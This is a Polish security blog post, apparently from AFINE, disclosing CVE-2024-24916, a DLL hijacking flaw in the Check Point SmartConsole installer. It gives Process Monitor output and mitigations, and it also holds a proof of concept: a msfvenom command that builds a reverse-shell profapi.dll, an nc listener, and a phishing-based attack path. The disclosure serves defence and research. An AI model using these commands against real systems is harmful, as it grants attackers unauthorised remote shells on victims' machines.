DLL hijacking to krytyczna podatność, która występuje, gdy aplikacja nieprawidłowo ładuje pliki Dynamic Link Library (DLL), co może prowadzić do nieautoryzowanego wykonania kodu oraz eskalacji uprawnień. W tym artykule szczegółowo omówię, jak działa atak DLL hijacking oraz przedstawię konkretny przypadek tej podatności w Check Point SmartConsole.
Ostatnio odkryłem lukę typu DLL hijacking w Check Point SmartConsole (R81.20 SmartConsole Build 653), narzędziu szeroko wykorzystywanym do zarządzania produktami firewall firmy Check Point. Podatność została sklasyfikowana jako błąd DLL hijacking i oznaczona identyfikatorem CVE-2024-24916.
Luka ta została już załatana, począwszy od wersji 656 tego oprogramowania. W tym artykule omówię szczegóły techniczne błędu oraz kroki, jakie podjęło Check Point, aby rozwiązać problem.
Czym jest DLL Hijacking? Szczegóły techniczne
Dynamic Link Library (DLL) to plik zawierający kod, wykorzystywany przez wiele programów w systemie operacyjnym Windows. DLL pozwalają na działanie programów bez potrzeby powielania kodu w wielu plikach, jednak taka wygoda niesie ze sobą pewne ryzyko. System Windows korzysta z określonego porządku wyszukiwania, aby znaleźć potrzebne pliki DLL. DLL hijacking wykorzystuje lukę w tym mechanizmie - jeśli programista nie zabezpieczy porządku wyszukiwania lub nie określi bezwzględnej ścieżki do każdego pliku DLL wykorzystywanego przez aplikację, może dojść do wykorzystania tego mechanizmu przez atakującego.
Jeśli atakujący ma możliwość zapisania pliku DLL w lokalizacji, z której aplikacja je ładuje, będzie możliwe wykonanie złośliwego kodu w kontekście tej aplikacji. Jest to szczególnie niebezpieczne w przypadku programów uruchamianych z podwyższonymi uprawnieniami.
Scenariusz ataku DLL Hijacking
Problem odkryłem podczas oceny bezpieczeństwa Check Point SmartConsole dla jednego z naszych klientów. Była to zamknięta organizacja, w której pracownicy nie mieli dostępu do sieci zewnętrznej. Zauważyłem, że dystrybuowali oprogramowanie Check Point SmartConsole nie bezpośrednio z Internetu, lecz za pomocą SMB.
Każdy pracownik w sieci wewnętrznej miał dostęp do publicznego udziału SMB, gdzie można było przesyłać i pobierać pliki, ale nie można było zastępować istniejących plików. Pracownicy byli instruowani, aby pobierać katalogi instalacyjne stamtąd i uruchamiać instalację poprzez dwukrotne kliknięcie pliku instalacyjnego.
Jeden z katalogów zawierał plik instalacyjny dla Check Point SmartConsole. Początkowo myślałem, że wszystkie jego zależności zawarte są w tym pliku wykonywalnym. Jednak po dokładnym sprawdzeniu procesu instalacji za pomocą Process Monitor odkryłem, że instalator jest podatny na DLL hijacking, ponieważ nie zabezpiecza prawidłowo swojego mechanizmu ładowania DLL.
Jak wykryć podatność DLL Hijacking?
Aby samodzielnie wykryć ten problem, należy pobrać podatną wersję instalatora ze strony Check Point i uruchomić Process Monitor z odpowiednimi filtrami przed uruchomieniem instalatora.
Po tym, jak instalator (Check_Point_SmartConsole_R81_20_jumbo_HF_B653_W.exe) zostanie uruchomiony i proces instalacyjny zostanie zakończony, możemy zaobserwować w oknie Process Monitor następujące logi:
\\Mac\Home\Desktop\SECHOST.dll
\\Mac\Home\Desktop\msvcp_win.dll
\\Mac\Home\Desktop\win32u.dll
\\Mac\Home\Desktop\CRYPTBASE.DLL
\\Mac\Home\Desktop\CRYPTSP.dll
\\Mac\Home\Desktop\TextShaping.dll
\\Mac\Home\Desktop\CFGMGR32.dll
\\Mac\Home\Desktop\PROPSYS.dll
\\Mac\Home\Desktop\SHCORE.dll
\\Mac\Home\Desktop\edputil.dll
\\Mac\Home\Desktop\iertutil.dll
\\Mac\Home\Desktop\netutils.dll
\\Mac\Home\Desktop\profapi.dll
\\Mac\Home\Desktop\srvcli.dll
\\Mac\Home\Desktop\urlmon.dll
\\Mac\Home\Desktop\MPR.dll
\\Mac\Home\Desktop\SspiCli.dll
\\Mac\Home\Desktop\Wldp.dll
\\Mac\Home\Desktop\cscapi.dll
\\Mac\Home\Desktop\SETUPAPI.dll
\\Mac\Home\Desktop\ServicingCommon.dllTe brakujące pliki DLL są wyszukiwane w katalogu, z którego uruchomiono aplikację instalacyjną. W moim przypadku był to \\Mac\Home\Desktop\. To umożliwia wykorzystanie luki poprzez umieszczenie złośliwego pliku w tym samym katalogu co instalator.
Poniższy zrzut ekranu obrazuje okno Process Monitora z próbami załadowania bibliotek DLL w momencie podwójnego kliknięcia na instalator. Jak widać, jest ich sporo:
Ścieżka ataku w przypadku naszego klienta była następująca:
- Przygotowanie złośliwego pliku DLL (uruchamiającego połączenie typu reverse shell do naszego serwera Command & Control).
- Uruchomienie serwera Command & Control (który nasłuchiwałby połączenia reverse shell).
- Umieszczenie pliku w katalogu instalacyjnym SmartConsole na udziałach SMB.
- Wysłanie e-maila do pracowników z prośbą o ponowną instalację SmartConsole.
Proof of Concept ataku DLL Hijacking
Poniższe polecenie może wygenerować złośliwy plik DLL, który uruchamia reverse shell po załadowaniu. Nazwa pliku to profapi.dll, ponieważ jest to jeden z brakujących DLL:
msfvenom -p windows/shell_reverse_tcp LHOST=target_ip LPORT=1234 -f dll -o profapi.dllNa innym komputerze należy uruchomić netcat w celu nasłuchiwania na połączenie zwrotne:
nc -l 1234Plik profapi.dll powinien znajdować się w tym samym katalogu co instalator. Test wykazał, że podatność DLL hijacking umożliwia uzyskanie zdalnego dostępu do systemu ofiary z uprawnieniami użytkownika uruchamiającego instalator.
Poniższy zrzut ekranu pokazuje odebrane połączenie typu reverse shell:
Konsekwencje bezpieczeństwa DLL Hijacking
Luka stanowi zagrożenie dla użytkowników podczas ataków wewnętrznych. Może jednak zostać wykorzystana również do ataków phishingowych z zewnątrz, ponieważ legalne oprogramowanie wymaga plików DLL. Atakujący mogą łatwo wykorzystać tę metodę do dystrybucji złośliwego oprogramowania za pomocą archiwów instalatorów wysyłanych e-mailem.
Jak zapobiegać atakom DLL Hijacking?
Podejście Defense in Depth mogłoby złagodzić ataki wewnętrzne w opisywanym scenariuszu, gdyby pracownicy firmy nie mogli przesyłać dodatkowych plików do katalogów instalacyjnych na udziałach SMB. Jednakże luka mogłaby zostać wykorzystana w innych scenariuszach.
Aby ograniczyć podatność na DLL hijacking w instalatorze, wszystkie zależne biblioteki powinny być:
- Pakowane w jeden plik wykonywalny
- Ładowane z bezwzględnych ścieżek
- Weryfikowane pod względem integralności przed załadowaniem
- Podpisane cyfrowo przez producenta oprogramowania
CVE-2024-24916 zostało spatchowane, stanowi jednak przypomnienie, że nawet zaufane oprogramowanie może mieć luki bezpieczeństwa związane z DLL hijacking, jeśli weryfikacja plików DLL nie jest przestrzegana.
Słowa końcowe
Zgłosiłem ten problem na adres cve@checkpoint.com 30 maja 2024 roku i otrzymałem pierwszą odpowiedź 12 czerwca 2024. Zespoły R&D Check Point zbadały i potwierdziły problem. 2 października zapytałem o aktualizację. Nie otrzymałem odpowiedzi, więc 9 października 2024 wysłałem kolejną wiadomość, informując, że zamierzam ujawnić lukę. Następnego dnia otrzymałem obszerną wiadomość z informacjami o poprawce, zarezerwowanym CVE i szczegółami dotyczącymi retestu.
Ogólnie oceniam współpracę w zakresie rozwiązania problemu pozytywnie, pomimo braku informacji zwrotnej w momencie spatchowania błędu, ponieważ wszystkie procedury przyznawania CVE były załatwione po stronie Check Point, jako że są CVE Numbering Authority. Dzięki takiemu działaniu, researcherzy mogą skupić się na szukaniu błędów i nie marnować czasu na biurokracje.
Jeśli jesteś zainteresowany cyberbezpieczeństwem, zapraszam do regularnego odwiedzania naszego bloga AFINE, gdzie publikujemy nowe treści. Jeśli chcesz dowiedzieć się więcej o Dynamic Library Hijacking w systemie macOS, napisałem również obszerny artykuł na ten temat, który znajdziesz tutaj.
Mam nadzieję, że artykuł Ci się spodobał!
